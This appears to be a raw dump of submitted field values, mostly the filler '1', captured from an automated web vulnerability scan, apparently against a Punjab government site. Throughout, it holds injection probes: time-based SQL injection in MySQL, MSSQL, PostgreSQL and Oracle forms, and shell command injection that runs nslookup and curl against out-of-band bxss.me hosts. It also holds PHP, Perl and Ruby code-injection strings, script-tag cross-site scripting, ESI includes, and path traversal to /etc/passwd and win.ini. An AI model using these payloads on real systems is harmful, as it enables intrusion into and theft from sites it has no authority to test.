1
-1 OR 2+120-120-1=0+0+0+1 --
1
-1 OR 2+449-449-1=0+0+0+1
-1' OR 2+872-872-1=0+0+0+1 --
-1' OR 2+19-19-1=0+0+0+1 or 'SwX6EvWO'='
1
-1" OR 2+162-162-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
19RbmIalc'; waitfor delay '0:0:15' --
1
1
1
1
1
1-1 OR 762=(SELECT 762 FROM PG_SLEEP(15))--
1
1
1
1
1
1-1) OR 160=(SELECT 160 FROM PG_SLEEP(15))--
1
1
1
1
1
1-1)) OR 488=(SELECT 488 FROM PG_SLEEP(15))--
1
1
1
1
1
1Hq4dibB4' OR 565=(SELECT 565 FROM PG_SLEEP(15))--
1
1
1
1
1
18kfckYbV') OR 610=(SELECT 610 FROM PG_SLEEP(15))--
1
1
1
1
1
1Y9naiMkR')) OR 227=(SELECT 227 FROM PG_SLEEP(15))--
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
1
@@o1niC
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1xHK0HasD
1
-1 OR 2+481-481-1=0+0+0+1 --
-1 OR 2+79-79-1=0+0+0+1
-1' OR 2+759-759-1=0+0+0+1 --
-1' OR 2+288-288-1=0+0+0+1 or '0ZaFbkhX'='
-1" OR 2+854-854-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1xlxYUwNC'; waitfor delay '0:0:15' --
1-1 OR 140=(SELECT 140 FROM PG_SLEEP(15))--
1-1) OR 381=(SELECT 381 FROM PG_SLEEP(15))--
1-1)) OR 537=(SELECT 537 FROM PG_SLEEP(15))--
1VPqhEwS5' OR 713=(SELECT 713 FROM PG_SLEEP(15))--
1et2gyTwA') OR 558=(SELECT 558 FROM PG_SLEEP(15))--
1oBsoVYT0')) OR 80=(SELECT 80 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
@@x5O5I
Disabled
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(98).concat(74).concat(120).concat(88)+(require"socket" Socket.gethostbyname("hitra"+"xykqyjdp7dde3.bxss.me.")[3].to_s)+"
1
'+'A'.concat(70-3).concat(22*4).concat(109).concat(86).concat(122).concat(86)+(require'socket' Socket.gethostbyname('hitix'+'jwypofce6ef13.bxss.me.')[3].to_s)+'
HttP://bxss.me/t/xss.html?%00
1
bxss.me/t/xss.html?%00
'A'.concat(70-3).concat(22*4).concat(116).concat(75).concat(110).concat(74)+(require'socket' Socket.gethostbyname('hitpb'+'jjorlecs05ad7.bxss.me.')[3].to_s)
1
12345'"\'\");|]* { < >
1
create
1
create
https://dpmis.punjab.gov.pk/
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
create/.
https://redirtest.acx/
response.write(9453737*9839000)
';print(md5(31337));$a='
1
'+response.write(9453737*9839000)+'
1
1
1
'.gethostbyname(lc('hitrw'.'spkhntwx30218.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(87).chr(102).chr(77).'
1
"+response.write(9453737*9839000)+"
";print(md5(31337));$a="
1
)
".gethostbyname(lc("hitaj"."vhidxxca0402b.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(75).chr(103).chr(77)."
1
dpmis.punjab.gov.pk
1
1
!(()&&!|*|*|
1
1
gethostbyname(lc('hitxn'.'yfmevawmbbcf8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(84).chr(102).chr(90)
1
1
redirtest.acx
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
${@print(md5(31337))}
1
1
^(#$!@#$)(()))******
1
echo ygeeco$()\ npnxdv\nz^xyu||a #' &echo ygeeco$()\ npnxdv\nz^xyu||a #|" &echo ygeeco$()\ npnxdv\nz^xyu||a #
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
'"()
1
1
&echo hvxafj$()\ pncvjw\nz^xyu||a #' &echo hvxafj$()\ pncvjw\nz^xyu||a #|" &echo hvxafj$()\ pncvjw\nz^xyu||a #
1
1'&&sleep(27*1000)*fkahqd&&'
1
1
${9999667+9999651}
1
1
1&echo sqhded$()\ tsafht\nz^xyu||a #' &echo sqhded$()\ tsafht\nz^xyu||a #|" &echo sqhded$()\ tsafht\nz^xyu||a #
1
${@print(md5(31337))}\
1'"()&%<zzz><ScRiPt >KJ0v(9121)</ScRiPt>
1"&&sleep(27*1000)*cnnsgu&&"
1
1
1
1
'.print(md5(31337)).'
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1'||sleep(27*1000)*csfjlc||'
1
1
|echo etfyje$()\ qxmjdh\nz^xyu||a #' |echo etfyje$()\ qxmjdh\nz^xyu||a #|" |echo etfyje$()\ qxmjdh\nz^xyu||a #
1
'"
1
1
1
1
1
file:///etc/passwd
1
1"||sleep(27*1000)*pljqbt||"
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >KJ0v(9834)</ScRiPt>
1
1
1
1|echo lfnjly$()\ huqyqc\nz^xyu||a #' |echo lfnjly$()\ huqyqc\nz^xyu||a #|" |echo lfnjly$()\ huqyqc\nz^xyu||a #
1
1
1
../1
1
1
(nslookup -q=cname hitdoziinjgux81f55.bxss.me||curl hitdoziinjgux81f55.bxss.me))
1
19944266
1
1
1
1
1
1
$(nslookup -q=cname hitgtfcyflodb79cbb.bxss.me||curl hitgtfcyflodb79cbb.bxss.me)
1
1
1
1
1
<!--
1
1
&nslookup -q=cname hittwntfktjas282d5.bxss.me&'\"`0&nslookup -q=cname hittwntfktjas282d5.bxss.me&`'
1
1
1
1
1
1
&(nslookup -q=cname hitetuvxvnprvbebc9.bxss.me||curl hitetuvxvnprvbebc9.bxss.me)&'\"`0&(nslookup -q=cname hitetuvxvnprvbebc9.bxss.me||curl hitetuvxvnprvbebc9.bxss.me)&`'
1
1
1
1
1
1
1
1
|(nslookup -q=cname hitvfeyjeduek66c14.bxss.me||curl hitvfeyjeduek66c14.bxss.me)
1
1
1
1
`(nslookup -q=cname hitbouoxzhnaz31e9c.bxss.me||curl hitbouoxzhnaz31e9c.bxss.me)`
1
1
1
1
1
1
1
1
1
;(nslookup -q=cname hitysxhyyomkb10776.bxss.me||curl hitysxhyyomkb10776.bxss.me)|(nslookup -q=cname hitysxhyyomkb10776.bxss.me||curl hitysxhyyomkb10776.bxss.me)&(nslookup -q=cname hitysxhyyomkb10776.b
1
1
1
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitzqeagmthfbaee86.bxss.me||curl${IFS}hitzqeagmthfbaee86.bxss.me)
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitovqjdfutyd6c90c.bxss.me||curl${IFS}hitovqjdfutyd6c90c.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitovqjdfutyd6c90c.bxss.me||curl${IFS}hitovqjdfutyd6c90c.bx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
/etc/shells
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
1
1
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1CvrHGfQO
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9597350*9781124)
1
1
1
1
'+response.write(9597350*9781124)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+response.write(9597350*9781124)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(99).concat(65).concat(112).concat(79)+(require"socket" Socket.gethostbyname("hitvk"+"isyndlxvd537a.bxss.me.")[3].to_s)+"
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(119).concat(88).concat(98).concat(89)+(require'socket' Socket.gethostbyname('hitfn'+'ejggrewd6ddff.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(110).concat(84).concat(100).concat(89)+(require'socket' Socket.gethostbyname('hittf'+'hhwczxpl9aadc.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1A7xdslSd
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+763-763-1=0+0+0+1 --
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
1
1
1
-1 OR 2+941-941-1=0+0+0+1
1
1
12345'"\'\");|]* { < >
file:///etc/passwd
1
1
1
1
1
1
1
1
1
echo igtaxs$()\ iylcyq\nz^xyu||a #' &echo igtaxs$()\ iylcyq\nz^xyu||a #|" &echo igtaxs$()\ iylcyq\nz^xyu||a #
1
-1' OR 2+126-126-1=0+0+0+1 --
1
1
1
1
1
1
1
)
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
^(#$!@#$)(()))******
1
1
-1' OR 2+266-266-1=0+0+0+1 or 'Q5i3OnNu'='
1
1
../1
1
1
1
1
1
1
1
1
&echo xiuqfi$()\ yetndj\nz^xyu||a #' &echo xiuqfi$()\ yetndj\nz^xyu||a #|" &echo xiuqfi$()\ yetndj\nz^xyu||a #
1
1
1
1
1
1
1
1&echo dhxmmm$()\ gygirf\nz^xyu||a #' &echo dhxmmm$()\ gygirf\nz^xyu||a #|" &echo dhxmmm$()\ gygirf\nz^xyu||a #
1
1
1
1
|echo gaqhgg$()\ utmjdq\nz^xyu||a #' |echo gaqhgg$()\ utmjdq\nz^xyu||a #|" |echo gaqhgg$()\ utmjdq\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1
1
1|echo elezzy$()\ ujmyzw\nz^xyu||a #' |echo elezzy$()\ ujmyzw\nz^xyu||a #|" |echo elezzy$()\ ujmyzw\nz^xyu||a #
1
1
1
1
-1" OR 2+839-839-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitfx'.'zrbpmfms1a725.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(68).chr(103).chr(70).'
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
(nslookup -q=cname hithikfseosfade8a4.bxss.me||curl hithikfseosfade8a4.bxss.me))
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
".gethostbyname(lc("hitav"."sorhdkug4255d.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(74).chr(101).chr(72)."
1
1
$(nslookup -q=cname hitcenqflptvp5388e.bxss.me||curl hitcenqflptvp5388e.bxss.me)
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
gethostbyname(lc('hityu'.'vopwglfv0d05e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(90).chr(115).chr(66)
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
&nslookup -q=cname hitywtknugdalceea6.bxss.me&'\"`0&nslookup -q=cname hitywtknugdalceea6.bxss.me&`'
1
1
1
1
1
1
'"()
';print(md5(31337));$a='
&(nslookup -q=cname hitznmdgwczzu30baa.bxss.me||curl hitznmdgwczzu30baa.bxss.me)&'\"`0&(nslookup -q=cname hitznmdgwczzu30baa.bxss.me||curl hitznmdgwczzu30baa.bxss.me)&`'
1
1
1
1
1
1
|(nslookup -q=cname hittojtqodlmm80103.bxss.me||curl hittojtqodlmm80103.bxss.me)
1
1
1
1
1
1
1
1'&&sleep(27*1000)*dqdaax&&'
";print(md5(31337));$a="
1
1
${@print(md5(31337))}
1
1-1; waitfor delay '0:0:15' --
`(nslookup -q=cname hityxkoxjtouo908bf.bxss.me||curl hityxkoxjtouo908bf.bxss.me)`
1
1
1"&&sleep(27*1000)*iwfwmw&&"
1
;(nslookup -q=cname hitzarkkwrsrud0de6.bxss.me||curl hitzarkkwrsrud0de6.bxss.me)|(nslookup -q=cname hitzarkkwrsrud0de6.bxss.me||curl hitzarkkwrsrud0de6.bxss.me)&(nslookup -q=cname hitzarkkwrsrud0de6.b
1
${@print(md5(31337))}\
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitsdhswlbikvc7a24.bxss.me||curl${IFS}hitsdhswlbikvc7a24.bxss.me)
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitgkqznjhnec83bfb.bxss.me||curl${IFS}hitgkqznjhnec83bfb.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitgkqznjhnec83bfb.bxss.me||curl${IFS}hitgkqznjhnec83bfb.bx
1
1
1
1
1
https://dpmis.punjab.gov.pk/
1
1'||sleep(27*1000)*apispg||'
1
1
1
1
1
1"||sleep(27*1000)*lhdgfp||"
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
'.print(md5(31337)).'
https://redirtest.acx/
<!--
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dpmis.punjab.gov.pk
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1YjzhE2vb'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >corf(9763)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 OR 582=(SELECT 582 FROM PG_SLEEP(15))--
1
1
'"()&%<zzz><ScRiPt >corf(9163)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19623771
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1) OR 839=(SELECT 839 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1)) OR 31=(SELECT 31 FROM PG_SLEEP(15))--
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1DUgqUHXU' OR 336=(SELECT 336 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1M6fAOBOg') OR 812=(SELECT 812 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${10000305+10000043}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1BblrGC5f')) OR 421=(SELECT 421 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
14L2WgrRT
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+70-70-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+280-280-1=0+0+0+1
1
1
1
1
response.write(9774649*9999837)
1
1
1
-1' OR 2+383-383-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
'+response.write(9774649*9999837)+'
1
1
1
1
1
1
1
1
1
1
1
-1' OR 2+171-171-1=0+0+0+1 or '4dpvMUhm'='
1
1
1
1
1
1
1
1
1
1
1
1
@@xx0Cz
1
1
1
1
1
1
1
1
1
1
"+response.write(9774649*9999837)+"
1
1
1
-1" OR 2+977-977-1=0+0+0+1 --
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(113).concat(84).concat(100).concat(68)+(require"socket" Socket.gethostbyname("hithk"+"nyxxxvddab212.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(107).concat(88).concat(120).concat(89)+(require'socket' Socket.gethostbyname('hitco'+'ikdoliftcf1b4.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(104).concat(68).concat(117).concat(81)+(require'socket' Socket.gethostbyname('hitqv'+'iysonokc9dd4e.bxss.me.')[3].to_s)
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
1
1
1
1
/etc/shells
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
create/.
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
bxss.me
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1DfGecdft'; waitfor delay '0:0:15' --
)
1
1
1
1
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1
1
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1-1 OR 133=(SELECT 133 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
1
1
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitjb'.'fdpxmdlcfa32c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(66).chr(97).chr(70).'
1
1
1
1
1
1-1) OR 697=(SELECT 697 FROM PG_SLEEP(15))--
1
../1
1
1
1
".gethostbyname(lc("hitov"."zyrftvps1a0ea.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(81).chr(113).chr(80)."
1
1
1
